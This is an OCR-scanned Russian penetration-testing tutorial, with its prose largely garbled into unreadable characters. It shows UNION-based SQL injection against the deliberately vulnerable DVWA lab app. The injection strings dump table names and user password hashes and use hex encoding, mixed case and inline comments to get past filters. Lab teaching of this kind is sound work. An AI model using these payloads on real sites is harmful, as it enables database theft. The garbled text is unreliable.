XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

ID: 1' union select 1,2#
First name:
Surname: 2

Submit

More info

View Source | View Help

. @

i @

S1 xouy BbIOpaTh 0a3y JaHHBIX B 1-M CTOJIOIIE, IIPU IIOMOIIX BhIpakeHus « 1’ union
y P Yy A , Ip p

S
v

$ 10.0.2.7/mutillidae/ind
£ ¢ @

&+ Most Visited @ Getting Started "\, Kali Linux "%, Kali Training

X | [@] Damn Vulnerable Web A X | +

@ 10.0.2.7/dvwz

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

\, KaliTools “, KaliDocs '\ KaliForums " NetHunter [ Offensive Security & Exploit-DB & GHDB [fIMSFu

=
D)

Command Execution
CSRF

File Inclusion
[soumjecton |
SQL Injection (Blind) |
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
Abou |

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Vulnerability: SQL Injection

User ID:

ID: 1' union select database(),2#

First name: admin
surname: admin

Submit

ID: 1' union select database(),2#

First name: dvwa
Surname: 2

More info

MM nckomMoii 0a3bl JaHHBIX — «dvway.
Jlist BBIBOZIA OoJiee MOTHOM MH(OPMAIIHK HaM MPUTOAUTCS BBIPAKEHHUE: «Union

L, dvwa‘y:

View Source | View Help

i @



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

¥ 10.0.2.7/mutillidae/inde: X Damn Vulnerable Web £ X | +

« ¢ @ ® 10.0.2.7/dwafvulnerabilities/sqlirfie 1 union select table_name, 2 from information_schematables where table_schema = ‘dvwa'fo23&Submit= B @7
£+ Most Visited @ Getting Started %, Kali Linux % Kali Training *, Kali Tools W, KaliDocs *, Kali Forums “\ NetHunter [j] Offensive Security  Exploit-DB % GHDB [f] MSFu
)
=
e Vulnerability: SQL Injection
ngiructions | User ID:
Setup
Submit
Brute Force
ID: 1' union select table name,2 from information_schema.tables where table schema = ‘dvwa'#
Command Excoution | First name: admin
CSRF Surname: admin
File Inclusion ID: 1' union select table name,2 from information_schema.tables where table schema = 'dvwa'#
First name: guestbook
[ soLimjection | Surnane: 2
SQL Injection (Blind) ID: 1' union select table name,2 from information_schema.tables where table schema = 'dvwa'#
First name: users
Upload | surname: 2
XSS reflected |

XSS stored

DVWA Security
PHP Info

About |

oo |

Username: admin
Security Level: low
PHPIDS: disabled

More info

View Source | View Help |

Kak Bugum, st momyuuns ctonOubl: «guestbook», u «users.
U Teneps Mbl MOXKEM MOMTPOOOBATH HAMTH CTOJIONBI IJIs1 KaXKJIOM U3 3TUX TaOJIHII.
Oto Oyner Bamum nmomamaum 3agaHuem.

41 3Ha10, 4TO B TAOJIUIIE «USErS», €CTh CTOJIOIBI «usernamey, u «passwordy. s

MHBEKIIMA MHE NTOHAJ00UTCA BhIpakeHue: «union select user, password from

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

§ 10.0.2. il X | [@ Damn Webs X | +

& c @ ® 10.0.2.7/dvwalvul ties/sq| 1fu

Pz

£+ Most Visited @ Getting Started '\, Kali Linux '\ Kali Training "\, Kali Tools '\, Kali Docs '\, Kali Forums *\ NetHunter [fJ Offensive Security & Exploit-DB  GHDB [ MSFu

Home
Instructions
Setup

Brute Force

Vulnerability: SQL Injection

User ID:

Submit

Command Execution |
CSRF |
File Inclusion |

\ ]
SQL Injection (Blind) |
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About

ID: 1' union select user, password from users#
t name: admin

elect user, password from users#
admin
fadcc3b5aa765d61d8327deb882c 99

First nam
Surname:

ID: 1' union select user, password from users#
First name: gordonb
Surname: e99a18c428cb38d5260853678922e03

ID: 1' union select user, password from users#
First name 37

Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' union select user, password from users#
First name: pablo
Surname: 0d107d09fSbbed@cadeddesc71e9e9b7

ID: 1' un
First nam
Surname:

elect user, password from users#
ithy
3b5aa765d61d8327deb882c 99

Logout

Kak Bbl MOxkeTe BUAETH, MPOU30LIEN BBIBOJ BCEX MAPOJIEH U MOJIb30BATEIIEH,

More info

KOTOPBIE €CTh B TAOJIHUIIE KUSErS».

VYcnoxxHUM 33729y ¥ I3MEHUM YPOBEHb 0€30MacCHOCTH Ha cpeqHuit «mediumy:




Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox
1 10.0.2.7) i X | [@® Damn WebA X | +
« ¢ @ ® 10.0.2.7jdvwa/security.php
¥ Most Visited @ Getting Started \, Kali Linux ', Kali Training ', Kali Tools %, Kali Docs %, KaliForums %\, NetHunter [f] Offensive Security = Exploit-DB = GHDB [f] MSFu

DR

Home DVWA Security
Instructions:
Setup. Script Security

Security Level is currently medium
Brute Force
T You can set the security level to low, medium or high.
‘Command Execution
EE— The security level changes the vulnerability level of DVWA

CSRF
File Inclusion medium v Submit
SQL Injection
SQL Injection (Blind) PHPIDS
Upload
v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS reflected
‘You can enable PHPIDS across this site for the duration of your session.
XSS stored
PHPIDS is currently disabled. [ 1
[ 1-[ 1
PHP Info
About
E—
Logout

8| - 4 n @

[lepeitnem Ha Bkinaaky SQL Injection u moBTOpUM Te k€ 1Iaru, 4YTo U Ha YpOBHE

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox
1 10.0.2.7/mutillidae/inde: X aF
<« c @ 10.0.2.7/dvwa/vulnerabilities/sqlif?id=1&S ubmit=Submit#
2+ Most Visited @ GettingStarted %, Kali Linux %, Kali Training “\, Kali Tools “, KaliDocs “\, Kali Forums , NetHunter [jlj Offensive Security % Exploit-DB = GHDB [f] MSFu

o Vulnerability: SQL Injection
% User ID:

Submit

ID: 1
First name: admin

CcsRF Surname: admin
File Inclusion

[sQLimjection |
SQL Injection (Blind)

Upload

XSS reflected

XSS stored |

More info

DVWA Security |
PHP Info |

Avout |
Logout

Username: admin View Source | View Help

Security Level: medium
PHPIDS: disabled

[Tpu BBOne 1upsI 1, cTpanuia paboraeT KOPPEKTHO.
A korjia Mbl ipornuckiBaeM kaBbluky B URL, To BUAMM O1IMOKY:

+ O W I @



Mozilla Firefox [- IO -]
§ 10027, % | 10.0.2.7/d abilitie X | +

<« ¢ o @ 10.0.2.7/dvw erabilities/sqliPid=1'&Submit=Submits - O mn o =
& Most Visited @ GettingStarted *, Kali Linux %\, Kali Training *, Kali Tools “ Kali Docs %, Kali Forums %, NetHunter [fll Offensive Security = Exploit-DB = GHDB [ MSFu

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

I[aHHa}I omrOKa OTIINYaeTCs OT Hpem)mymeﬁ, TaK KdK CTpaHHIa KaJIyCTCA Ha
BBCACHHYIO KaBBIYKY.

Jlo6aBuM B BeIpakeHHe UcTUHHOE 3HaueHue «and 1=1%23». Mbl 10J>KHBI YBUIETH
MPaBUJIbHYIO CTPAHUILY:

Mozilla Firefox e o

1 1002 i X | 10.0.2. abilitic x| +

PR N © 10.0.2.7/dwwalvulnerabilities/sqlf2id=1 fond 1=1%23kSubmit=Submit - @ n o =

£+ Most Visited @ Getting Started "%, Kali Linux *\, Kali Training %, Kali Tools %, KaliDocs ‘% Kali Forums %, NetHunter [l Offensive Security & Exploit-DB & GHDB [l MSFu

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and 1=1#' at line 1

Kax Bl 3aMeTnin, cTpaHnLia HENPaBUIIbHAS.
[TonpoOyem m3MeHuTh KaBbluky Ha ko HTML. CuMBoOa KaBbIUKH «“», Oyner
DKBUBAJIEHTEH %027:



Mozilla Firefox

4 10.0.2.7/mutillidaefinde: X | 10.0.2.7/dvwa/vulnerabilitic X |+

&« ¢ @ Q, 10.0.2.7/dvwa/vulnerabil i'es;‘sc\l'l.' cI:li‘f‘oszncl 1=1%23&Submit=Submit

#¥ Most Visited @ Getting Started "%, KaliLinux *& Kali Training % Kali Tools "% Kali Docs “% Kali Forums “%, NetHunter [il] Offensive Security % Exploit-DB % GHDB [l MSFu

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and 1=1#' at line 1

W 51 cHOBa MoOJy4aro Ty K€ OIIHOKY.

Hcnonb3zoBanne SQL-UHBEKIIMN MOXKET OTIIMYATHCA OT CANTa K CAUTy. DTO METOT

po0 U OLIMOOK.
Bosce u3baBumcs ot kaBbruek B ctpoke URL:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox
§ 10.0.2.7/mutillidae/inde: X Damn Vulnerable Web 2 X | 4+

<« c o @ 10.0.2.7/dvwa/vulnerabilities/sc i=1 and 1=1%23&Submit=Submit#

N KaliDocs \, Kali Forums *\, NetHunter [ Offensive Security  Exploit-DB & GHDB [l MSFu

£+ Most Visited @ Getting Started '\, KaliLinux '\, Kali Training '\, Kali Tools

jeme ] Vulnerability: SQL Injection
] ons. J User ID:
Setup |

Submit
EFEE |
ST BP i e
CSRF J Surname: admin

[Fiewnciugion |
[ | More info
SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
o |

Logout
Username: admin View Source | View Help |

Security Level: medium
PHPIDS: disabled

Crpanuiia oToOpaskaeTcsi KOpPEKTHO.

N3mennM BeIpakeHHUE Ha JIOKHOE, 3aMeHUB 1udpy 1 Ha 2:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SGL Injection - Mozilla Firefox (O I <]

§ 10.0.2.7/mutillidae/inde: X | [ Damn Vulnerable Web /A X | 4

) e ® 10027 erabilt ; - Q% mo =

£+ Most Visited @ Getting Started '\ Kali Linux \ Kali Training '\, Kali Tools \, KaliDocs '\ Kali Forums “\ NetHunter [l Offensive Security = Exploit-DB = GHDB [f] MSFu

=
D\@#A)
Vulnerability: SQL Injection

User ID:

Home 1

Submit

More info

SQ njection (Biind) _|

pload |
XSS reflected
XSS stored

|
DVWA Security |
PHP Info |
About |
Logout ‘

Username: admin View Source 1 View Hel
Security Level: medium SXEWSOUCR VIO D]
PHPIDS: disabled

Buaum BeIBOA, KOTOPBI TOBOPUT HAM O TOM, YTO CTpaHHIla ysi3BuMa kK SQL-
uHbeKIUsIM. CyTh B TOM, YTO MBI HE UCIIOJIb3YEM KaBBIUKY, a Cpa3y J00aBiseM

BBIPAKEHUE.
[Iponomxum uccienoBaHue, U BBEAEM BhIpaxkeHue «union select 1,2»:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox (- )
1 10.0.2.7/mutillidaefinde: X Damn Vulnerable Web A X | 4+

<« C o @ 10.0.2.7/dvwaj/vulnerabil liffid=1u
%F Most Visited @ Getting Started ", KaliLinux \, Kali Training ™, Kali Tools %, Kali Docs “, Kali Forums &, NetHunter [ Offensive Security & Exploit-DB & GHDB I MSFu

23&Submit=Submiti R4 n @ =

e Vulnerability: SQL Injection
nstuctions | User ID:
Setup
Submit

Brute Force

ID: 1 union select 1,2#
(Commiand Exsculion First name: admin
CSRF Surname: admin
% ID: 1 union select 1,2#

First name: 1

[ sQUinjecuon | Surname: 2
SQL Injection (Blind) |
Upload |
XSS reflected
XSS stored

DVWA Security
PHP Info

About |
Logout

Username: admin View Source | View Help
Security Level: medium 4
PHPIDS: disabled

More info

DTOT BBIBOJI TOBOPUT O TOM, YTO MbI MOYKEM BBIBOJUTH MH(GOpMAILIHIO B 1-M 1 2-M
cToN0Iax.

[TorbITaemMcst MOMYYUTH CIIUCOK TaOJIMI, KOTOPbIe HAM HEOOXOAUMBI. JTO JIeIaeTcs
C TIOMOIIBIO BBIpaXKeHHs «union select table name, 2 from
information_schema.tables»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SGL Injection - Mozilla Firefox

¥ 10.02.7/mutillidaefinde. X Damn Vulnerable Web 2 X | +

<« c o @ 10.0.2.7/dvwa/vulnerabilitie ‘[ sel

n_schema tablesJo238Submit=Submits

£ Most Visited @ GettingStarted ™\ KaliLinux “\, Kali Training " Kali Tools " Kali Docs %, Kali Forums % NetHunter [l Offensive Security % Exploit-DB & GHDB [l MSFu

o Vulnerability: SQL Injection

nswucions | User ID:

Setup

Submit

Brute Force
ID: 1 union
Command Execution S s

select table_name, 2 from information_schema.tables#
admin

CSRF ‘ surname: admin

File Inclusion | 10: 1 union
T e First name:
| Surname: 2

SQL Injection (Blind) I0: 1 union
First name
Upload | Surnane: 2

XSS reflected
ID: 1 union s

XSS stored First name:

Surname: 2
DVWA Security 10: 1 union

First name
PHP Info | Surname: 2
L | I0: 1 union

First name:
e | Surname: 2

I0: 1 union
First name:
Surname: 2

I0: 1 union
First name:
Surname: 2

select table name, 2 from information schema.tables#
CHARACTER_SETS

select table_name, 2 from information_schema.tables#
COLLATIONS

elect table name, 2 from information schema.tables#
COLLATION_CHARACTER_SET_APPLICABILITY
select table name, 2 from information_schema.tables#

COLUMNS

select table name, 2 from information_schema.tables#
COLUMN_PRIVILEGES

select table_name, 2 from information_schema.tables#
KEY_COLUMN_USAGE

select table name, 2 from information_schema.tables#
PROFILING

OTM4YHO, U MBI JOOUITUCH TOTO K€ PE3YJbTaTa, 4YTO U PaHbIIIC.

SQL-unbexknuu. Ucnosabn3oBanue 0ojiee ca0:KHbIX SQL-nHbeKkunii.

[TonpoOyem oTuIBTPOBATH HAITK TAOIUIBI U OCTABUTH TOJIHKO TE€, KOTOPHIE €CTh B

Hamel 60aze TaHHbBIX, a 3To «dvway. byneT ucnonb3oBaThes yciaoBue «wherey, Kak

U paHble. Boeipaxkenue Oyznet umMeTh BU: «union select table name, 2 from

10.0.2.7/dvwajvulnerabilitic X | +

Mozilla Firefox

<« c o @ 10.0.2.7/dvwa/vulnerabilities/sqli/?id=1 union select table

£t Most Visited @ Getting Started “\ KaliLinux “\ Kali Training '\, Kali Tools " KaliDocs '\, Kali Forums "\, NetHunter [jlj Offensive Security  Exploit-DB & GHDB [f] MSFu

You have an error in your SOL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'dwa\'#" at line 1

I @

B urore noiy4yaem ommoOKy, B KOTOpO TOBOPUTCS O KaBblukax. BeO-cailT numeet
(uIbTpaLMIO OT HEKENIATENbHBIX CUMBOJIOB. VIcX0/s U3 penbIayIiuX YPOKOB MBI

rcnosb3oBaiud cuMBoiibl HTML, a umenHo %27, HO HUYEro He MOJYy4YUIOCh.



KaBbruku coneprkarcs B 6a3e qaHHbIX «“‘dvwa‘y, koTopasi oopamiieHa
OJMHApHBIMU KaBblukamH. [Ipeiarato Bocnonb3oBaThCcsi MHCTpyMeHTOM BurpSuite
- IEKOJIep, JIJIsl TOTO, YTOOBI CKOHBEPTUPOBATh TEKCT «dvway B 16-TUpHUYHBIN

dbopwmar.

Jlist mpuMepa st ASKOAUPYIO CUMBOI #:

Burp Suite Community Edition v1.7.36 - Temporary Project [ )

Burp Intruder Repeater Window Help

[Target Proxy | Spider IScanner T Intruder T Repeater TSequencer I Decoder T Comparer T Extender TProje:t options IUser options | Alerts

@ Text O Hex

| Decode as ...

Encode as ...

e

Hash ...
Smart decode
923 @ Text O Hex
| Decode as
| Encode as ...
[Hash
Smart decode

|

[REIREY

R

[Tonyuuncs BeiBOg %23.

Jlanee koHBEpTUpPYEM TEKCT «dvway B IU(PHI:

Burp Suite Community Edition v1.7.36 - Temporary Project e e 0

Burp Intruder Repeater Window Help

[Targat Proxy | Spider T Scanner ]lntmder TREpEatEr TSEquEn(Er TDe(chr TCumparEr TExtEndEr TPrDJECt options TUser options | Alerts

@ Text O Hex

dvwa
[Decode as -

Encode as ..

e

Hash ...

Smart decode

|

@® Text (O Hex
| Decode as ...
| Encode as
[Hash
Smart decode

HEIRED]

P

TonkocTs B TOM, uTO AJ1s1 BBozIa 1 poBoro 3HaueHus B mosie URL HyxHO
nponucarb KOMOMHAIMIO UG U cuMBOIIOB «0X». Beipaxkkenue npuMeTr BU:




«union select table name, 2 from information_schema.tables where table schema

= 0x64767761%23».

Bgenewm ero B Hamt URL 1 riosyyum BBIBOI:

Damn Vulnerable Web 2 X | 4+

€ c @ ® 10.0.2.7/dw /sl

£+ Most Visited @ Getting Started %, Kali Linux " Kali Training ', Kali Tools '\, Kali Docs ', Kali Forums ‘%, NetHunter [ Offensive Security & Exploit-DB & GHDB [ MSFu

Home
Instructions
Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection (Blind)

Upload
XSS reflected

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SGL Injection - Mozilla Firefox

i=1 union se

Dyin)

Vulnerability: SQL Injection

User ID:

Submit

First name: admin
Surname: admin

ID: 1 union select table_name, 2 from information_schema.tables where

ion select table name, 2 from information schema.tables where table scl

table_sch

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: medium
PHPIDS: disabled

More info

ema = Bx64767761#

hema = Bx64767761#

ema = Ox64767761#

View Source | View Help

B8
I

Bce otimnuno. Ml IMOJYYHJIN BBIBOJ Ta6J'II/III, KOTOPBIC CBA3aHLI C TGKYHIGﬁ Oazoit

JTaHHBIX.

SQL-nabekuuu. O0X0aMM 3aIUTY M NOJYy4YaeM JOCTYIl KO BCEM 3allUCAM.

PaccMmoTrpum cutyanuio, mpyu KOTOPOU s CTAIKUBAKOCh TPU TECTUPOBAHUU Ha

IIPOHUKHOBEHUE, TpUMEpPHO B 50% CalTOB.

[lepeiinem Ha cTpanuity Beo-npuioxenus DVWA, kotopoe HazbiBaeTcst «SQL
Injectiony, 1 paccMOTpPUM YK€ HCIIOJIb30BAHHOE HAMU BBIPaKEHUE, TOJIHKO
u3MmenenHoe: «+uNiOn/**/sEleCt/**/table name, 2+fRom

information_schema.tables%23». BcraBum 310 BhIpaskeHHE B aIpECHYIO CTPOKY



Kali Linux, an Offensive Sec. X | [@] Damn Vulnerable Web 4 X | +

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

« ¢ @ @ 10.0.2.7/d

fsumit=suon ol

£ Most Visited @ Getting Started ", Kali Linux *\, Kali Training %, Kali Tools %, Kali Docs %, Kali Forums %, NetHunter [ Offensive Security & Exploit-DB % GHDB I MSFu

Home
Instructions
Setup

Brute Force
‘Command Execution
CSRF

File Inclusion

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Bce cpa60TaJ10, U MbI BUJUM BCC Ta6J]I/IIH>I, KOTOPLBIC CYILICCTBYIOT B sTOM Oase

JaHHBIX.

XoTeoch OBl 3aTPOHYTHb OJWH BAPUAHT Pa3BUTHUA CO6BITHﬁ, a MMCHHO, IIpH
YA3BUMOM BeO-caiTe IIPOUCXOIUT 3allYCK BBIPpAXKCHHUA, TO Bb1 MmoxeTe BUACTH

Vulnerability: SQL Injection

me: COLUMNS
ion/*
me: COLUMN PRIVILEGES

i0n/**/sEleCt/**/tal
me: KEY_COLUMN_USAGE

g

uNiOn/**/sEleCt/**/table_name, 2 fRom info
t name: PROFILING
2

wTnH UTMH wTH VmH Ve

User ID:

Submit
ID: 1' uNiOn/**/sEleCt/**/table_name, 2 fRom info
Firs in
Sur
I /sElect/**/table name, 2 fRom infor
F CHARACTER_SETS
st
I i0n/**/sEleCt/**/table_name, 2 fRom info
F COLLATIONS

+/sEleCt/**/table name, 2 fRom inform
COLLATION CHARACTER SET APPLICABILITY
uNiOn/**/sEleCt/**/table name, 2 fRom information_schema.tables

n/**/sEleCt/**/table_name, 2 fRom information_sc

ble_name, 2 fRom informatio chema. tables;

rmation_schema.tables#

mation schema.tables#

rmation_schema.tables#

n_schema. tables#

rmation_schema. tables#

n @

TOJIBKO OJIMH PE3YyJbTaT, B KOHKPETHBI MOMEHT BPEMEHHU. JTO IMPOUCXOIUT U3-32
TOT0, YTO CTPAHUIIA 3allPOrpaMMHUpPOBaHa OTOOpaXaTh OIMH PE3YJbTar.

MoxeM paccMOTPETh 3TO HAIVISIIHO, HA HU3KOM YPOBHE 0€30MaCHOCTH, U3MEHUB
KOJ B ya3BUMOM MannHe Metasploitable 2, B wactHoctt DVWA.

[lepexonum Ha mamuHy Metasploitable 2, u otpenakrupyem (aitn Ha HU3KOM
ypOBHE 0€30I1aCHOCTH, YTOOBI IOTOM BEPHYTHCS M YBUJETh PE3yJbTaT HAIIUX

MaHUMYJIALAN.

Metasploitable 2 BBITISINAT BOT TaK:




i Metasploitable 2 [PaboTtaeT] - Oracle VM VirtualBox

®ain MawwHa Bwug Beopg YcTpoWcTtea Cnpaeka
sfadmninemetasploitable:™5 ifconfiqg
etho Link encap:Ethernet HUWaddr 08:00:27:af :1f :80
inet addr:10.0.2.7 Bcast:10.0.2.255 Mask:255.255.255.0
inett addr: feB0::a00:27ff:feaf :1f80-64 Scope:Link
UP BROADCAST RUNNING MULTICAST HMTU:1500 Metric:1
R¥X packet=s:58 error=:0 dropped:0 overrunz:0 frame:0
TX packets:?8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
R¥ bytes:8603 (8.4 KB) TX bytes:8100 (7.9 KB)
Base address:0xd010 Memory:f0000000-f00Z20000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inett addr: ::1-,128 Scope:Host

UPF LOOPBACK RUNNING HMTU:16436 HMetric:1

RX packets:100 errors:0 dropped:0 overruns:0 frame:0
TX packet=:100 errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:0

R¥X bytes:21805 (21.2 KB) TX bytes:21805 (21.2 KB)

sfadnin@netasploitable: ™5

Breaem komanay «sudo nano /var/www/dvwa/vulnerabilities/sqli/source/low.php»:

200 Metasploitable 2 [Pabotaet] - Oracle VM VirtualBox

®ain MawwHa Bwg Beon YcrpoWctea Cnpasla

sfadmin@metasploitable:™5 ifconfig

ethd Link encap:Ethernet HWaddr 08:00:27:af :1f:80
inet addr:10.0.2.7 Bcast:10.0.2.255 MHask:255.255.255.0
inetb addr: fe80::a00:27ff :feaf :1f80-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 HMetric:1
R¥ packet=:58 errors:0 dropped:0 overruns:0 frame:0
TX packets:78 errors:0 dropped:Q overruns:0® carrier:0
collisionz:0 txgqueuelen:1000
R¥X bytes:8603 (8.4 KB) TX bytes:8100 (7.9 KB)
Base address:0xd010 Memory:fo000000-f0020000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UF LOOPBACK RUNNING MTU:16436 HMetric:1

R¥X packet=:100 errors:0 dropped:0 overruns:0 frame:0
TX packets:100 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:

R¥ bytes:21805 (21.2 KB) TX bytes:21805 (Z21.Z2 KB)

sfadmin@metasploitable: ™5 sudo nano svar- uwu-sdvwasvulnerabilitiesssqlissourcers|]
ow.php _

MNpasbii Ctrl




Nano — 3To ynoOHBII TEKCTOBBINA PEAAKTOP, U ajiee UACT MyTh K (ailny
«low.php». OcTtanock BBECTH Mapoib aAMUHUCTPATOPA M HAYaTh MIPOCMATPUBATh
KOJI:

Metasploitable 2 [PaboTaeT] - Oracle

dain Mawwuna Buao Beop Ycrpoictea CnpaBka
GNU nano 2.0.7 File: ...wws/dvwarsvulnerabilitiesssqli-/source/low.php

?php

f(isset(S_GETL'Submit'1)){
#+ Retrieve data
5id = §_GETL'id'1;

Sgetid = "SELECT first_name, last_name FROM users WHERE user_id = '5id'$
Sresult = mysql_guery(Sgetid) or die(' <pre>’ . mysgl_error() . '</pre>'§

Snun = mysql_numrows(Sresult);

Si = 0:
while (5i < Snum) {

5first = mysqgl_result(Sresult,5i,"first_nane”):
Slast = mysql_result(Sresult,5i,"last_nane™):

[ Read 28 lines (Converted from DOS format) 1
g Get Help @] UriteOut Il Read File g4 Prev Page i Cut Text ¥ Cur Pos
il Justify "l Where I= ! Next Page il UnCut Textpyy To Spell

B gl Bl 8 @ @ Npaswii Ctrl

HaMm Hy>xHO mopaboTtarh ¢ 1ukJIoM while, 1 3aKOMMEHTHPOBATH €r0. DTOT UK
MIPOXOJIUT IO BCEM CUMBOJIAM, YTO HaM HE HY>KHO.

3aKoMMEHTHpYeM Hadasio Iukia while, 1 ero koHerr:



Meta

dain MawwHa Bwg Beopg Yctpoictea Cnpaeka
GHU nano Z2.0.7 File: .. _ wwrsdvwasvulnerabilitiesr-sqli-source-low.php Modified

Snum = mysql_numrows(Sresult);
Si = 0:
s7uhile (5i < Snum) £

5first = mysql_result(Sresult,5i,"first_nane™);
Slast = mysql_result(Sresult,$i,"last_name"):

Shtml
Shtml
Shtml

"<pre>'
"ID: ' . $id . "<br>First mame: ' . Sfirst . '<br>3urn$
"<oprer’

Si++;

[{] Get Help @] WUriteOut @ Read File § Prev Page @] Cut Text @¥ Cur Fos
il Justify !l Uhere Is ] Next Page gl UnCut Textpgyy To Spell

B g o =i 3@ E Npaswii Ctrl

Bawm He 00s13aTebHO BaBaThCs B TOJIPOOHOCTH KOJ1a, €ciiv Bl He mporpaMMuCT,
TaK KaKk Hac MHTEpEeCyeT TECTUPOBAHUE HA IPOHUKHOBEHHE.

Jlnst coxpanenus aitnna, Hy>)KHO Haxarh komOouHaruu kiasumt: Ctrl+O, nanee
Enter u Ctrl+X s BeIXOAa U3 pegakropa.

[Tepexogum B DVWA | 1 nporecTupyem TO K€ BBIPAKEHUE:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox e ® 0
Kali Linux, an Offensive Sec: X | [B] Damn Vulnerable Web 4 X | +
& c o D 10.02.7 9 I @ =
£% Most Visited @ GettingStarted  KaliLinux “, Kali Training ™, Kali Tools “\ KaliDocs %, Kali Forums “ NetHunter [f] Offensive Security % Exploit-DB % GHDB ] MSFu
oyn)

(o Vulnerability: SQL Injection

Instructio User ID:

Setup

bmit

Brute Force

CSRF S

File Inclusion

More info

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin View Source | View Help

Security Level: low

PHPIDS: disabled




Bripaxenue He paboTaeT, n3-3a HallTUX UCTIPABICHUN B KOJIE.
[Tpou3oriesn BEIBOJ 3alIMCH aIMUHHUCTpATOpAa.

[Tpomomkum uccaea0BaHuE U BBeIeM BcecTo Udpsl 1, 3HaueHue -1, u
MMOCMOTPHUM, YTO MOJTYUUTCS:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SGL Injection - Mozilla Firefox e e 0
Kali Linux, an Offensive Sec: X | [@ Damn Vulnerable Web 4 % | +
&« c @ @® 10.0.2.7/dvwajvulnerabilities/sqli/?id=-1"+uN EleCt/**/table_name, 2+fRom information_schema.tables%23&Submit=Submiti - O I @ =
£ Most Visited @ GettingStarted ', KaliLinux ', Kali Training ', Kali Tools % KaliDocs '\, Kali Forums '\ NetHunter [Jf] Offensive Security & Exploit-DB & GHDB ] MSFu
oyiin)
T Vulnerability: SQL Injection
Instructions | User ID:
Setup
Submit
Brute Force
ID: -1' uNiOn/**/sEleCt/**/table name, 2 fRom information schema.tables#
=S RRaon First name: CHARACTER SETS
CSRF Surname: 2
File Inclusion

More info
SQL Injection (Blind) |
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin View Source | View Help
Security Level: low .
PHPIDS: disabled

BHOBB 0TOOpakaeTcsi OAUH pe3ysbTaT. ITO MPOUCXOAUT MOTOMY, UTO MbI
OTKOPPEKTUPOBAIM KO/l Ha 3TOM YpOBHE 0€30M1aCHOCTH.

OOparuTe BHUMaHue, 4TO Ha cepBepe, Bl Moxkere BbIOpaTh Mr0060e SQL-
BbIpakeHHe. Mbl MOJkeM BBIOpaTh ONpeiesieHHbIE 3alucu B 0a3e JaHHBIX.

[Tormpobyem nepedparhb Bce TaOIUIIBI Ha BeO-caliTe. Bocmonb3yeMcss HOBBIM

BbIpakeHHueM «limit». Beipaskenue npumet
BT «1'+uNiOn/**/sEleCt/**/table _name, 2+fRom
information_schema.tables+limit+1,2%23».

CymHocTb BelpaxkeHus limit 3akitodaercs B BBIOOPKE MEXKY MEPBBIM U BTOPHIM
3HAYEHUEM.

Bgenem 3Hauenue B ajpecHyro crpoky URL:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sec: X Damn Vulnerable Web 2 X | +

« ¢ @ ® 10.0.2.7/dvwajvulnerabilities/sc I INiON/**/sEleCt/**/table_ 2 _schema.tables+ LA}
£ Most Visited @ Getting Started %, Kali Linux %\, K N, Kali Tools %\, Kali Docs ™\, Kali Forums \ NetHunter [j] Offensive Security = Exploit-DB % GHDB

Vulnerability: SQL Injection

insiructons | User ID:

Submit

Brute Force

ID: -1' uNiOn/**/sEleCt/**/table_name, 2 fRom information_schema.tables limit 1,2#
Command Execution | First name: COLLATIONS
CSRF | Surname: 2
File Inclusion |
\ | More info
SQL Injection (Blind) |
Upload |
XSS reflected |
XSS stored |

DVWA Security

PHP Info |
About |

Logout

Username: admin View Source | View Help |
Security Level: low
PHPIDS: disabled

Bunum otoOpakeHune Ipyroi TaOJIULbI.
Taxum 00pa3oM, MOXKHO U3MEHSATh 3HaUe€HUE TaONHll, CesIaB BEIOOPKY B Oaze

JaHHBIX.

Taxxke MOXKeM BOCIONIB30BaThCA BhIpaKeHHEM «wherey. 3anuch NpuMeT BUI:
«1'+uNiOn/**/sEleCt/**/table_name, 2+fRom
information_schema.tables+where+table schema='dvwa'+tlimit+1,2%23»:

